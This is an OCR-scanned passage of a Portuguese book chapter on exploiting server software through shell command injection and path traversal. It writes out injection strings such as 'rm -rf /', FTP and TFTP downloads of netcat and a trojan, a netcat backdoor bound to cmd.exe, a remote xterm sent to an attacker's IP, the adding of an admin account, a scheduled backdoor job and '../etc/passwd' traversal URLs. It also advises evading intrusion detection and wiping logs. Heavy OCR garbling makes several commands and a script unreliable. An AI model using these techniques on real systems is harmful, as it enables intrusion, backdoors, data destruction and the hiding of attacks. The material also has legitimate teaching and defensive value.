Tecnlca: lnje~ao de comando de shell 0 SO oferece varios recursos eficientes, como acesso a arquivos, bibliotecas em rede e acesso a dispositivos. Muitos desses recursos sao expostos por fun~oes de chamada de sistema ou outras APis. As vezes as bibliotecas de fun~oes sao fornecidas como m6dulos especiais. Por exemplo: carregar uma DLL e, na verdade, carregar urn modulo cheio de novas fun<;oes. Muitas destas envolvem o acesso amplo ao sistema de arquivos. 0 shell e urn subsistema fornecido pelo SO. Esse subsistema permite que o usuario fa~a login em uma maquina e emita milhares de comandos, acesse programas e navegue pelo sistema de arquivos. 0 shell e muito eficiente e as vezes fornece uma linguagem de cria<;ao de scripts para automa<;ao. 0 programa "cmd" fornecido com o Windows NT e o shell "/bin/sh" fornecido com o UNIX sao exemplos de shells comuns. 0 SO e projetado para os administradores automatizarem tarefas. 0 shell e urn componente chave dessa capacidade e, portanto, fica exposto aos programadores por uma API. A utiliza~ao do shell a partir de qualquer programa significa que o programa tern as mesmas capacidades de urn usuario normal. 0 programa, em teoria, poderia executar qualquer comando, exatamente como um usm1rio faria. Portanto, se o programa com acesso de shell for atacado com sucesso, o invasor obtera o controle total do shell via proxy. Esse ponto de vista e muito simplista. Na realidade, as vulnerabilidades s6 sao expastas quando os comandos que estao sendo passados para o shell sao controlados por urn usm1rio remoto. Entradas nao-filtradas que sao fornecidas a chamadas de API como system() exec() open()
Como quebrar c6digos
152
podem ser particularmente problematicas. Esses comandos chamam executaveis e procedimentos externos para agir. Para fazer urn teste em rela~ao a urn problema desse tipo, injete varios comandos separados por delimitadores. Uma inje~ao tfpica pode utilizar ping ou cat. 0 ping e utile pode ser utilizado para "pingar" de volta para 0 sistema invasor. 0 ping e born porque os parametres sao sempre os mesmos, independentemente do SO. Uma pesquisa de DNS tambem pode ser util se o ICMP for filtrado no firewall. 0 uso do DNS significa que OS pacotes de UDP serao entregues de volta a pesquisa. Esses pacotes normalmente nao sao filtrados pelo firewall porque sao servi~os crfticos para a rede. 0 uso do cat para fazer o dump de urn arquivo tambem e facil. Ha literalmente mil hoes de maneiras de utilizar a inje~ao de shel l. Veja algumas boas inje~oes para NT: %SYSTEMR001%\system32\ftp type %SYSTEMROOT%\system32\ drivers\etc\hosts cd
0 ftp fara com que uma conexao externa de FTP se conecte de volta ao IP de coleta. 0 forma to do arquivo de hosts e facil de identificar eo comando cd mostra o diret6rio atual. Evitando o surgimento de janela pop-up durante a
inje~ao
Quando voce executa urn shell em uma maquina Windows, uma janela pop-up preta aparece para o shell de comandos. Isso pode ser urn sinal6bvio para a pessoa que esta sentada ao computador, indicando que ha algo suspeito. Uma das maneiras de evitar 0 pop-up e corrigir diretamente 0 programa que voce deseja executar.3 Outra maneira de evitar o pop-up e executar o comando com determinadas op~oes que permitem controlar o nome de janela e mante-la minimizada: start "window name" /MIN cmd. exe /c
lnjetando argumentos de shell por meio de outros programas
Padrao de ataque: lnje~ao de argumento do usuario e colocada diretamente no argumento de um comando
A entrada de shell. Varios programas de terceiros permitem passar para um shell com pouca ou nenhuma filtragem.
3. Antigamente havia um programa empacotador (wrapper) chamado elitewrap que fazia isso. Para obter uma c6pia, acesse http://homepage.nrlworld.com/chawmp/elitewrap.
Capitulo 4 Explorando software servidor
* Exemplo de ataque:
lnje~ao
153
do argumento por meio do CFEXECUTE do Cold Fusion
CFEXECUTE e urn tag utilizado dentro de scripts do Cold Fusion para executar coman-
dos no SO. Se o comando aceitar argumentos fornecidos pelo usuario, certos ataques serao possfveis. 0 CFEXECUTE as vezes executa os comandos sob a conta todo-poderosa do administrador, o que significa que o invasor pode chegar a qualquer recurso do sistema. Considere o seguinte c6digo exploravel:
#Result#
Nesse caso, o desenvolvedor pretende que o usuario controle somente a string de busca. 0 desenvolvedor inseriu no c6digo o diret6rio-alvo dessa pesquisa. 0 problema crftico e que o desenvolvedor nao filtrou adequadamente o caractere de aspas duplas.4 Ao explorar esse equivoco, o invasor pode ler qualquer arquivo. A Figura 4.4 mostra a janela de entrada exibida pelo c6digo do exemplo. Ela tambem mostra a entrada maliciosa fornecida pelo invasor. Quando o invasor fornece a string mostrada na Figura 4.4, urn erro e retornado. A Figura 4.5 mostra a mensagem de erro resultante. Naturalmente, o c6digo utiliza o arquivo output. txt e realiza a sua outra tarefa. Uma visita subseqiiente ao arquivo output. txt revela o conteudo binario do arquivo SAM. Esse arquivo contem senhas e esta sujeito ao classico ataque de quebra de senha.5 A Figura 4.6 mostra o arquivo SAM.
4. Naturalmente, seria melhor que o desenvolvedor criasse uma white list que especificasse todas as strings de pesquisa validas. 5. Para saber mais sobre a quebra de senhas e as ferramentas utilizadas para fazer isso, consulte o Whitehat Security Arsenal [Rubin, 1999].
Como quebrar c6digos
154
File
u
Edit
View
F~vorites
Tools
sack •
Help
r
Search
Favorites
»
-
~Media ~.
lln~.s »
v ; ] Go
http://co;jtest .lab.local/test/CMD_Injection/cmd. cfm ?Post• I
Workspace:
Ent er a string t o search for in files on the disk
I
~~~ c:\winnt\repair\som %0A •c [ Run test.
I v
>
.,ID Done
~
Internet
0 c6digo de exemplo leva a uma janela de entrada como essa. 0 invasor pode explorar o c6digo usando uma entrada adequada. Veja algumas entradas "espertas" de ataque. Observe principalmente o caractere ".
En-or processing CFFILE En-or attempting to read 'C:\inetpub\wwwroot\output. txt.' The process cannot access the file because it is being used by another process. (en-or 32) The error occurred while processing an element with a general identifier of (CFFILE), occupying document position (130:7) to (132:29). T),.h,frimp· n707((l?
v
1'7·"i"i·()7
>
<
,ID Done
~ Internet
Essa e a mensagem de erro exibida quando a entrada maliciosa c6digo cgi exploravel.
Figura 4.6: 0 conteudo binario do arquivo SAM solicitado pela entrada maliciosa do invasor. Agora
o invasor pode quebrar senhas utilizando essas
informa~oes .
Utilizando delimitadores de comando durante a
inj e~ao
Padrao de ataque: Dellmltadores de comando Usando o ponto-e-vlrgula ou outros caracteres do tipo, gramas-alvo executam os comandos sem desconfiar.
e posslvel unir v
Se estamos atacando urn programa cgi, a entrada pode ser como essa:
156
Como quebrar c6digos
As inje~6es de comando geralmente sao inseridas em strings ja existentes, como mostramos aqm: rm - rf /; cat temp
exec( "cat dat a_log_
.dat");
0 comando resultante que e executado eo seguinte: cat data_log_; rm - rf /; cat temp.dat
Observe que tres comandos estao incorporados a esse exemplo. 0 invasor removeu do sistema de arquivos todos arquivos que podem ser acessados por meio das permissoes de processo (utilizando o comando nn). 0 invasor utiliza o ponto-e-virgula para separar varios comandos. Os caracteres delimitadores desempenham um papel fundamental em ataques de inje~ao de comandos. Veja alguns delimitadores comumente utilizados:
> '
•
' > /dev/null 2>&1 I Como os ataques de inje~ao de comandos como esses sao muito conhecidos, os sistemas de detec~ao de intrusao (IDSs) geralmente tern assinaturas para detectar essa atividade. Urn IDS padrao "pega" o invasor que utiliza esse padrao, principalmente se ele utiliza nomes de arquivo sugestivos, como /erc/passwd. Usar os comandos mais obscures do SO-alvo e abordagem interessante. Evite comandos comuns como cat e ls. Alternar os truques de codifica~ao pode ajudar nesse caso (consulte o Capitulo 6). Alem disso, lembre-se de que um servidor Web ira criar arquivos de log de todas as atividades de inje~ao, que tendem a ser muito "chamativas". Se voce utilizar esse padrao, limpe os arquivos de log assim que possivel. Observe que as vezes o proprio ponto de injec;ao pode ser utilizado para limpar os arquivos de log (seas permissoes de arquivo o permitem).
157
Capitulo 4 Explorando software servidor
Urn caractere de retorno de carro costuma ser urn delimitador valido para os comandos em urn shell. Esse truque e importante porque muitos filtros nao capturam isso. Os filtros, ou expressoes regulares, as vezes sao configurados meticulosamente para evitar ataques de inje~ao de shell, mas sabemos que ocorrem erros com uma certa regularidade. Se o filtro nao captura o retorno de carro, uma inje<;ao desse tipo pode continuar sendo uma possibilidade real. 6
* Exemplo de ataque: Inje~ao de comando PHP utilizando delimitadores Considere o seguinte c6digo explonivel no exemplo de c6digo 2: passthru ("find . -print I xargs cat I grep $test");
A Figura 4.7 mostra o que acontece quando o c6digo eexplorado com urn ataque de inje~ao-padrao.
Figura 4.7: 0 c6digo PHP mostrado no exemplo 2 de c6digo exploravel exibe resultados como
e
este quando executado. Observe, mais uma vez, a entrada maliciosa fornecida pelo invasor. Ao colar ; 1 s /, o invasor consegue listar o conteudo do diret6rio-raiz.
6. Mais uma vez, a melhor defesa nesse caso e utilizar mna white Jist em vez de qualquer tipo de filtro.
158
Como quebrar c6digos
Padrio de ataque: Multlplos parsers e escapes duplos Ai nje~ao de comando as vezes passa por varias camadas de analise. Por causa disso, os metacaracteres as vezes precisam ter "escapes duplos". Se nao houver o escape adequado, eles podem ser utilizados pela camada errada.
Utilizando escapes 0 caractere de barra invertida e urn born exemplo do problema do analisador multiplo. A barra invertida e utilizada como caractere de escape em strings, mas ela tambern e utilizada para delimitar diret6rios no sistema de arquivos do NT. Ao realizar uma inje~ao de comandos que envolvem caminhos de NT, normal mente ha a necessidade de utilizar "escapes duplos" das barras invertidas. Em alguns casos, e necessario utilizar urn escape quadruplo. I
C:\\\\winnt\\\\system32\\\\cmd.exe /c
~
C:\\winnt\\system32\\cmd.exe /c
~ I
C:\winnt\system32\cmd.exe j c I
Esse diagrama mostra cada camada sucessiva de analise (caixa-cinza) que traduz o caractere de barra invertida. Uma barra invertida dupla se torna simples ao ser analisada. Usando quatro barras duplas, o invasor consegue controlar o resultado final da string.
* Exemplo de ataque: Criando arquivos texto com
inje~ao
Ao utilizar echo, pode-se criar urn arquivo texto no sistema remoto: cmd /c echo line_of_text >> somefile.txt
Os arquivos texto sao muiro uteis para automatizar utilitarios. Os caracteres » mostrados aqui se destinam a acrescentar dados a urn arquivo ja existente. Utilizando essa tecnica, o invasor pode criar urn arquivo texto com uma linha de cada vez.
Capitulo 4 Explorando software servidor
159
* Exemplo de ataque: Criando arquivos hinarios utilizando o debug.exe com inje~ao Uma tecnica avan~ada, que pode ser atribufda a Ian Vitek da iXsecuriry, envolve o uso de debug.exe para criar arquivos executaveis em sistemas Windows. 0 utilitario rnostrado aqui s6 consegue criar o arquivo .COM, mas e urn c6digo executavel. 0 uso correto do utilitario permite inserir urn programa backdoor remotamente e executato subsequentemente. 0 utilitario depurador aceita urn arquivo script (.scr). 0 script pode conter varias charnadas para criar urn arquivo no disco, 1 byte de cada vez. Utilizando esse truque para criar arquivos rexto, o invasor pode transferir urn script de depura~ao inteiro para o host remoto. Entao, depois que o script e feito, o invasor pode executar debug.exe: debug.exe < somescript.scr
Esse truque pode ser urilizado para construir qualquer arquivo com tamanho inferior a 64K. E muito eficiente e pode ser utilizado para varios prop6sitos, inclusive a crias;ao de c6digo executavel. Outros truques que utilizam essa tecnica envolvem a coloca~ao de imagens ROM no sistema remoto para subsequentemente gravar no hardware. Urn script bastante util criado por Ian Vitek converte qualquer arquivo binario em urn script de depura~ao: #/usr/bin/perl # Bin to SCR Sve rs i on=l. 0; requi re 'getopts . p1 ' ; Sr = 11 \nll; Getopts('f:h'); die "\nConverts bin file to SCR script.\ Version $version by Ian Vitek ian. vitek\@i xsecurity. com\
\ usage: $0 - f binfile\ \t-f binfile Bin file to convert to SCR script\ \t Convert it back with the DOS command\ \t debug.exe
160
0 comprometimento complete de urn sistema geralmente indui a instala~ao de urn backdoor como Sub7 ou Back Orifice. 0 primeiro passo eexecutar urn comando de teste para verificar as permissoes de acesso. E burrice carregar urn ataque complete sem saber se os comandos realmente permitem a cria~ao de arquivos. 0 status dos arquivos de log tambem deve ser levado em conta. E' possfvel gravar neles? Podem ser apagados? Os invasores que nao pensam meticulosamente em tudo isso certamente vao ter problemas. Para fazer o teste e ver se e possivel gravar no log, emita urn comando como este: touch temp . dat
Em seguida, emita uma listagem de diret6rio: ls
0 arquivo deve estar ali. Agora tente exclui-lo: rm temp. dat
0 arquivo pode ser apagado? Agora verifique os arquivos de log. Se o sistema e urn servidor com Windows NT, e provavel que os arquivos de log estejam no diret6rio WINNl\system32\LogFiles. Tente acrescentar alguns dados a urn desses arquivos (os nomes de arquivo podem variar): echo AAA >> ex2020 . log type ex2020. 1og
Capitulo 4 Explorando software servidor
161
Verifique se os novas dados estao hi. Agora rente excluir o arquivo. Se o arquivo pode ser apagado, estamos com sorte. Urn invasor pode explorar o sistema e depois limpar com seguran~a. Se (e somente se) esses testes derem certo e for possfvel colocar os arquivos no sistema, o passo 2 (criar urn arquivo script para o backdoor) sera possfvel.
* Exemplo de ataque: Inje~ao e FTP 0 script FTP para Windows e urn hom exemplo de script FTP. Quase sempre ha urn cliente FTP, e ele pode ser automatizado. Os scripts FTP podem fazer com que o cliente FTP se conecte a urn host e fa~a o download de urn arquivo. Depoi.s que o arquivo ebaixado, ele pode ser executado: echo echo echo echo
anonymous»ftp. txt root@»ftp. txt prompt»ftp. txt get nc.exe>>ftp.txt
Esse procedimento cria urn script FTP para fazer o download do netcat para a maquina-alvo. Para executar o script, emitimos o seguinte comando: ftp - s:ftp.txt
Depois que o netcat esta na maquina, abrimos urn backdoor usando o seguinte comando: nc - L - p 53 -e cmd .exe
Esse comando abre uma porta para o que parece ser uma conexao de transferencia da zona de DNS {porta 53). Isso esta ligado ao cmd exe. Ao conectar, obtemos urn backdoor. Utilizando apenas a inje~ao de comandos, estabelecemos urn backdoor no sistema. A Figura 4.8 mostra o invasor se conectando a porta para testar o shell. Urn prompt do DOS-padrao eapresentado ao invasor. Conseguimos!
Figura 4.8: 0 objetivo final: ter shell de comando em um alvo remoto.
Como quebrar c6digos
162
* Exemplo de ataque: lnje\ao e xterms remotos Mover urn programa backdoor para urn sistema remoto e uma tarefa diffcil. Essa atividade quase sempre deixa arquivos e uma trilha de auditoria na maquina-alvo (algo que requer limpeza). As vezes e mais facil explorar urn sistema remoto usando programas que ja estao no sistema. Varios sistemas UNIX tern X Windows instalado, e obter urn shell remoto X e muito mais facil que instalar urn backdoor a partir do zero. Como xterm e urn servidor X local, e possfvel gerar urn shell remoto na area de trabalho do invasor. Considere urn script vulneravel de aplica<;ao PHP que passa dados de usuario para o shell por meio do seguinte comando: passthru( "find . -print I xargs cat I grep $test" ) ;
Se o invasor fornecer a seguinte string de entrada ;/usr/X/bin/xterm -ut -display 192.168.0.1:0.0
onde o enderes:o IP 192.168.0.1 pode ser qualquer enderes:o (e deve levar ao servidor X do invasor) , ele criara urn xterm remoto. 0 invasor emite a string de entrada e espera. Os segundos vao passando. De repente, uma janela de xterm aparece na tela, primeiro em branco e depois cheia de texto. Ha urn prompt de root? Na Figura 4.9, o invasor emitiu o comando id para ver em que contexto o ataque esta atuando. s ll"\.!)ffe -,,
SvnOS t<>r<>n
Sl"f'C
SU.V,Ultra-5.10
sI
Resultados bem-sucedidos de uma tentativa de fazer um xterm remotamente. 0 invasor tornou-se o usuario SysMan. Esse ataque interrompido com instala~ao adequada do sistema X Windows. Figura 4.9:
I
e
* Exemplo de ataque: inje~ao e o Tiny FTP (TFTP) TFTP e um protocolo muito simples para mover arquivos. Para executar esse ataque o invasor deve ter urn servidor de TFTP em execus:ao em algum Iugar que possa ser acessado pela maquina-alvo. 0 alvo fara uma conexao como local de armazenamento
Capitulo 4 Explorando software servidor
163
,
de TFTP. E born ter urn programa backdoor ali, esperando para ser distribufdo. 0 comando sera mais ou menos assim (no Windows, utilizando escapes duplos): .. C:\\WINNT\\system32\ \tftp - i GET trojan. exe ..
Nesse exemplo, trojan.exe poderia ser qualquer arquivo que voce quisesse puxar do local de armazenamento. 0 TFTP e uma maneira conveni.e nte de mover arquivos. , E uma das poucas maneiras de carregar novas "imagens" de firmware em roteadores, switches e modems a cabo. 0 uso competente do TFTP e uma necessidade. Recentemente, worms e outros tipos de c6digo malicioso come<;:aram a utilizar o TFTP em ataques de varios estagios.
* Exemplo de ataque: Adicionando urn usuario com inje<;:ao Apesar de todos esses backdoors serem muito simples, talvez nem seja necessaria ter urn backdoor no sistema. Simplesmente adicionando uma nova conta, o invasor pode acabar tendo bastante acesso. Urn exemplo famoso (pelo menos foi impressa em uma camiseta utilizada na conven<;:ao de hackers Def-CON) de um invasor que adicionou uma conta e Kevin Mitnick, hacker condenado pela justi<;:a, que adicionou a conta "toor" (ou seja, "root" ao contrario) a hosts-alvo que nao desconfiaram de nada. Com o uso da inje<;:ao de comandos em urn processo privilegiado, o invasor pode adicionar usuarios a uma maquina com relativa facilidade. Novamente, utilizando o Windows NT como exemplo, pode-se adicionar uma conta da seguinte maneira: .. C:\\WINNT\system32\\net .exe user hax0r hax0r /add ..
Tambem podemos adicionar o usuario a um grupo de administradores: .. C: \ \WINNT\system32\\net. exe loca lgroup Administrators hax0r /add ..
* Exemplo de ataque: Agendando um processo com inje<;:ao Depois de adicionar uma conta a maquina, e possfvel agendar trabalhos na maquina remota. 0 metodo-padrao emprega o utilitario at. No Windows, o invasor pode mapear uma unidade para o sistema remoto e, em seguida, implantar urn programa backdoor. Se uma sessao de administrador estiver aberta no alvo, o invasor podera simplesmente emitir o comando at com o computador remota especificado. Veja urn exemplo de mapeamento de unidade, coloca<;:ao do arquivo e agendamento para execu<;:ao em urn alvo remota: C:\hax0r>net use Z: \\192.168.0. 1\CS hax0r /u :hax0r C: \hax0r>copy backdoor .exe Z:\ C: \hax0r>at \\192 .168. 0.1\C$ 12 :00A Z: \backdoo r . exe
164
Como quebrar c6digos
' A meia-noite, o "feiti«!o" se realizar::l.. Por causa das chamadas de procedimento remoto, os computadores com Windows permitem todo tipo de controle remoto depois que a sessao de administrador e estabelecida. 7 No fim das contas, a inje«!ao de comandos por shell e os ataques relacionados sao tecnicas extremamente eficientes.
Tecnlca: Examlnando pipes, portas e permlssoes Os programas utilizam varios metodos para se comunicar com outros programas. 0 proprio meio de comunica<;ao as vezes pode ser utilizado em uma explora<;ao. Portanto, os recursos que fazem parte de outros programas com os quais voce esta se comunicando tambem podem. Sockets locais Os programas podem abrir sockets para se comunicar com outros processes. Talvez esses sockets nao se destinem a ser utilizados por pessoas. Em muitos casos em que sockets locais sao utilizados, o invasor que ja tern acesso ao sistema pode se conectar ao socket e emitir comandos. 0 programa servidor pode supor (incorretamente!) que somente outros programas se conectam ao socket. Portanto, o usuario humano se disfar<;a como outro programa. Para auditar urn sistema em rela<;ao a sockets locais, emita a seguinte solicita<;ao: netstat -an
Para descobrir qual eo processo que tern o socket, utilize os seguintes comandos:
2. netstat C:\netstat -ano Active Connections Proto Local Address TCP 0.0 .0.0:135 TCP 0 .0.0.0:445
Foreign Address 0.0.0.0:0 0.0.0.0:0
State LISTENING LISTENING
PID
772 4
7. Observe que as "brincadeiras" com chamada de procedimenro remoto (remote procedure c,JIJ- RPC) podem acabar agora que o worm Blaster fez com que a M.icrosofr levasse esse risco mais a serio.
* Exemplo de ataque: Quebrando o Oracle 9i com urn ataque de socket 0 Oracle 9i da suporte a stored procedures. Urn dos recursos dos stored procedures e a capacidade de carregar DLLs ou m6dulos de c6digo e fazer chamadas de func;ao. Isso permite que o desenvolvedor fac;a coisas como criar uma biblioteca de criptografia utilizando C++ e em seguida tornar essa biblioteca disponfvel como urn stored procedure. 0 uso de stored procedures e uma pnitica muito comum nos projetos de grandes aplica~oes. 0 servidor Oracle 9i trabalha com a porta de TCP 1530. 0 listener espera o Oracle se conectar e solicita uma biblioteca de carregamento. Nao ha nenhuma autentica~ao nessa conexao; porranto, basta conseguir se conectar ao listener para poder atuar como o banco de dados Oracle. Portanto, urn invasor pode fazer solicita~oes do sistema exatamente como se o banco de dados Oracle estivesse fazendo isso. 0 resultado e que urn usuario anonimo pode fazer com que qualquer chamada de sistema seja feita no servidor remoto. Essa vulnerabilidade foi descoberta por David Litchfield em 2002, depois que a Oracle executou sua malfadada campanha publicitaria "Unbreakable" (inquebn1vel).8 Gera~ao
de processos e heran«_;a de handles
Urn daemon servidor pode gerar (ou "bifurcar" ["fork"]) urn novo processo para cada usuario conectado. Se o servidor esta executando como root ou administrador, o novo processo deve ser "rebaixado" para uma conta de usuario normal antes de execU<;ao. Os handles para abrir recursos as vezes sao herdados pelo processo-filho. Se urn recurso protegido ja esta aberto, o processo-filho tera acesso liberado ao recurso, talvez acidentalmente. A Figura 4.10 mostra como isso funciona. Esse tipo de ataque e mais util como urn metodo de elevac;ao de privilegios. Ele requer uma conta existente e urn cerro conhecimento do pipe aberto. Em alguns casos, c6digo precisa ser injetado no processo-alvo adicionando uma biblioteca compartilhada troiana, realizando uma injec;ao de thread remoto ou possivelmente causando urn buffer overflow. Por fazer isso, o invasor pode acessar os handles abertos usando as suas pr6prias instrw;oes.
8. Nunca atire pedras em um ninho de vespas.
Como quebrar c6digos
166
Heran~a
de permissoes e lista de controle de acesso (access control list- ACL)
AS ACL sao mecanismos de seguran~a bastante comuns. 0 problema e que as ACL sao extremamente diffceis de gerenciar. Isso acontece porq ue a configura~ao de uma ACL coerente envolve imaginar o que cada uswirio individual ou grupo de usuarios pode querer fazer com urn determinado recurso. As vezes as coisas ficam complicadas. As ACL sao, de fa to, tao complicadas que, na pratica, tendem a falhar. Em termos simples, nao e possfvel gerencia-las adequadamente, e a seguran~a falha se nao for gerenciada. As ACL sao invariavelmente configuradas de forma errada, e enecessario ter ferramentas complexas de auditoria para monitorar e gerenciar configura~oes adequadamente. lnevitavelmente, a ACL sera configurada de forma errada em urn arquivo ou outro, e isso oferece uma oportunidade de ataque.
Processo-pai
Figura 4 .10: Diagrama da
heran~a
de processo-filho de urn recurso protegido. Esse e urn problema diflcil que os desenvolvedores costumam implementar incorretamente.
"
-
Recurso protegido
I I I I I I I I I
I I I I
'f Processo-filho
-
-"'
X ~
0 descritor de seguran~a de urn processo informa o SO quando o processo pode acessar urn alvo. Os objetos do descritor de seguran~a sao comparados com as ACL em um a lvo. Quando urn processo-filho e criado, algumas entradas no descritor de seguran<;a sao herdadas, outras nao. Isso pode ser controlado de varias maneiras. Entretanto, por causa da complexidade resultante, privilegios podem ser equivocadamente concedidos a urn filho. Tecnlca: Explorando o sistema de arqulvos 0 sistema de arquivos de urn servidor publico e urn Iugar movimentado. Todos os tipos de dados ficam "jogados"; e muito parecido como que acontece depois de urn desfile no centro de uma cidade movimentada: depois do desfile, as ruas ficam cheias de lixo. 0 problema de muitos servidores e que eles nao conseguem limitar a bagun~a. Algumas coisas simples podem ajudar. Os arquivos temporarios devem ser armazenados em uma area segura, Ionge dos olhos de bisbilhoteiros. Os arquivos de backup nao devem ficar sujeitos a serem pegos por qualquer urn. De fato, etudo uma questao
Capitulo 4 Explorando software servidor
167
de arruma~ao. Entretanto, temos de admitir que o software pode estar muito desarrumado (talvez seja urn espelho daquilo que nos somos). Urn servidor normal costuma ser urn solo fertil para dados que sao "lixo". C6pias sao feitas e as coisas ficam jogadas. Os backups e arquivos temporaries ficam vulneraveis. As permissoes nos diret6rios nao sao bloqueadas. Conseqi.ientemente, OS piratas de imagem podem simplesmente driblar o login de urn site pornografico e acessar diretamente o conteudo dos componentes. Qualquer local que pode ser gravado acaba se tornando urn esconderijo de softwares ilegais (o seu site e urn servidor de software?). Alguma vez voce ja fez o login em seu UNIX e descobriu que 1.400 downloads simultaneos de quake3.iso estao em execu<;ao? Algo parecido com isso ja aconteceu a maioria dos administradores de sistema pelo menos uma vez. Geralmente, o software servidor utiliza bastante o sistema de arquivos. 0 servidor Web, em particular, sempre esta lendo ou executando arquivos em urn sistema. Quanto mais complicado e o servidor, mais diffcil e garantir a seguran<;a do sistema de arquivos. Ha muitos servidores Web na Internet que permitem que invasores leiam ou executem qualquer tipo de arquivo no disco rlgido! 0 c6digo entre urn posslvel invasor determinado e 0 sistema de arquivos e simplesmente urn bloqueio desafiador pedindo para ser tirado. Depois que o invasor obtem acesso ao seu annazenamento, pode apostar que o invasor ira fazer urn born uso dele. Vamos explorar todas as camadas entre o invasor eo sistema de arquivos. Normalmente, sao urilizados varios padroes basicos, como pedir arquivos e obte-los. No mfnimo, o invasor rem que conhecer a estrutura do sistema de arquivos, mas isso e facil porque a maioria dos sistemas e uma c6pia dos outros. E possivel utilizar truques mais avan<;ados para obter listagens de diret6rio e criar urn mapa de um sistema de arquivos desconhecido.
Padrao de ataque: Varlavel forneclda pelo usuarlo passada para as chamadas do sistema de arqulvos As chamadas do sistema de arquivos sao muito comuns em aplicat;6es. Em muitos casos, a entrada do usuario eutilizada para especificar nomes de arquivo e outros dados. Sem urn controle adequado de segurant;a, isso leva a uma vulnerabilidade classica pela qual o invasor pode passar varios parametros para as chamadas do sistema de arquivos.
Ha duas categorias principais de ataques baseados em entrada: 0 buffer overflow e o melhor e mais famoso ataque; a inser<;ao de dados que em chamadas de API confiaveis fica em segundo Iugar, em uma disputa acirrada. Esse padrao de ataque envolve dados fornecidos pelo usuario que fluem pelo software e sao passados como um argumento a uma chamada de sistema de arquivos. Duas formas basicas desse ataque envolvem nomes de arquivo e navega<;ao em diret6rio.
168
Como quebrar c6digos
Nomes de arquivo Se os dados fornecidos pelo usuario forem urn nome de arquivo, o invasor pode simplesmente alterar esse nome. Considere urn arquivo de log baseado no nome de urn servidor. Suponha que urn programa de bate-papo (chat) tente se conectar a um endere~o da Internet (192.168.0.100, por exemplo). 0 programa de bate-papo quer fazer urn arquivo de log para a sessao. Ele primeiro se conecta a um servidor de DNS e faz uma pesquisa no endere~o IP. 0 servidor de DNS retorna o nome server.exploited.com. Depois de obter o nome, o programa de bate-papo faz urn arquivo de log chamado server.exploited.com. Voce imagina como urn invasor exploraria isso? Considere o que acontece se o invasor tiver penetrado no servidor de DNS da rede. Ou entao que o invasor tem meios para envenenar o cache de DNS no computador cliente. Agora, o invasor controla indiretamente o nome do arquivo de log por meio do nome de DNS. 0 invasor pode fornecer uma resposta de DNS como server. exploi t ed/ . . I .. I . . I . . /NIDS/Events . LOG, talvez destruindo urn arquivo de log importante. Navega~ao em diret6rios
Suponha que uma aplica~ao Web permite que o usuario acesse urn conjunto de relat6rios. 0 caminho do diret6rio de relat6rios pode ser algo como web/username/reports. Se o nome de usuario e fornecido via urn campo oculto, o invasor poderia inserir urn nome de usm1rio falsificado, como ../. ./. ./. ./ ../WINDOWS. Se o invasor precisar remover a string final / repor ts, ele pode simplesmente inserir caracteres em quantidade suficiente para truncar a string. 0 invasor tambem pode, talvez, aplicar o caractere NULL p6s-fixo (roOO) para determinar se isso termina a string ou nao.
Padrao de ataque: Termlnador NULL pos-flxado Em alguns casas, especialmente quando se utiliza uma linguagem de cria~ao de scripts, a string de ataque deve ter como p6s-fixo o caractere NULL. Usando uma representa~ao alternativa de NULL (ou seja, %00) voce pode fazer com que ocorra uma tradu~ao de caractere. Se strings tem permissao para canter caracteres NULL ou a tradu~ao nao pressupoe automaticamente uma string terminada por caractere nulo, a string resultante pode ter varios caracteres NULL incorporados. Dependendo da analise sintatica da linguagem de cria~ao de scripts, o NULL poder remover dados p6sfixados quando uma inser~ao esta em andamento.
Diversas formas de NULL que voce pode pensar em incluir PATH%00 PATH[0x00] PATH[alternate representation of NULL character) <script>%00
Capitulo 4 Explorando software servidor
169
Padrio de ataque: Pos-flxado, termlna~io NULL e barras lnvertldas Se uma string e passada por algum tipo de filtro, o NULL terminal pode nao ser valido. Usando uma representa~ao alternativa de NULL, o invasor pode inserir o caractere NULL no meio de uma string e colocar os dados corretos como p6s-fixo para evitar o filtro. Um exemplo disso e o filtro que procura um caractere de barra no final. Se for posslvel inserir uma string, mas a barra tiver de existir, pode-se utilizar uma codifica~ao alternativa do NULL.
Veja mais uma vez algumas formas comuns que isso pode ter PATH%00%5( PATH[0x00][0xSC] PATH[alternate encoding of the NULL] [additional characters required to pass filter]
* Exemplo de ataque: Confian~a e inje~ao E possfvel fazer urn inje~ao bastante simples em uma URL: http:l/getAccessHostnamelsek-binlhelpwi n.gas .bat?mode=&draw=x&fi l e=x&modul e=&locale=[inserir cami nho re1ati vo aqui ]
[%00][%5C]&chapter=
Esse ataque rem acontecido com regularidade. Ha muitas varia~oes desse tipo de ataque. Geralmente, passar urn perfodo curto de tempo injetando em aplicas:oes Web leva a descoberta de uma nova exploras:ao.
Padrio de ataque: Percurso de camlnho relatlvo (relative path traversal) Normalmente, o CWO para o processo e configurado em um subdiret6rio. Para chegar a um Iugar mais interessante no sistema de arquivos, pode-se fornecer um caminho relative que sai do diret6rio atual e entra em outros subdiret6rios mais interessantes. Essa tecnica evita que se tenha de fornecer o caminho totalmente qualificado (ou seja, partindo da raiz). Um dos bons recursos do caminho relative e que, assim que se atinge a raiz do sistema de arquivos, os outros movimentos rumo ao diret6rio-pai sao ignorados. lsso significa que, se voce quiser se certificar de que esta partindo da raiz do sistema de arquivos, basta colocar uma grande quantidade de sequencias de " ../" na inje~ao.
Se o seu CWD river tres nfveis de profundidade, o redirecionamento a seguir funciona.ni: . . I . . I . . let clpasswd
170
Como quebrar c6digos
Observe que isso e equivalente a .. / .. / .. / .. / . ./ .. / .. / .. / .. / . ./ . ./ .. / .. /etc/passwd
Veja algumas inje<;oes comuns que voce pode pensar em incluir . . / .. / . ./winnt/ . . \ .. \ . . \ . . \winnt .. I . . I . ./ . . /etc/passwd . . / .. / . . / . . / .. /boot. ini
* Exemplo de ataque: Percurso de arquivo (file traversal), string de consulta e HSphere Sao exemplos simples, mas mostram ataques reais. E' realmente espantoso saber que existem vulnerabilidades como essas. Problemas como esses mostram que os desenvolvedores Web geralmente tern muito menos conhecimento sobre codifica~ao e projeto de seguran<;a do que os programadores regulares em C. http:////psoft.hsphere.CP//?template_name= .. / .. /etc/passwd
* Exemplo de ataque: Percurso de arquivo (file traversal), string de consulta e GroupWise ,
E interessante observar que esse ataque requer urn p6s-fixo NULL: http:///Servlet/ webacc?User .html= . ./ .. / . ./ . . / . ./boot . ini%00
* Exemplo de ataque: Sistema de arquivos do software de gerenciamento de rede Alchemy Eye Aplica~oes
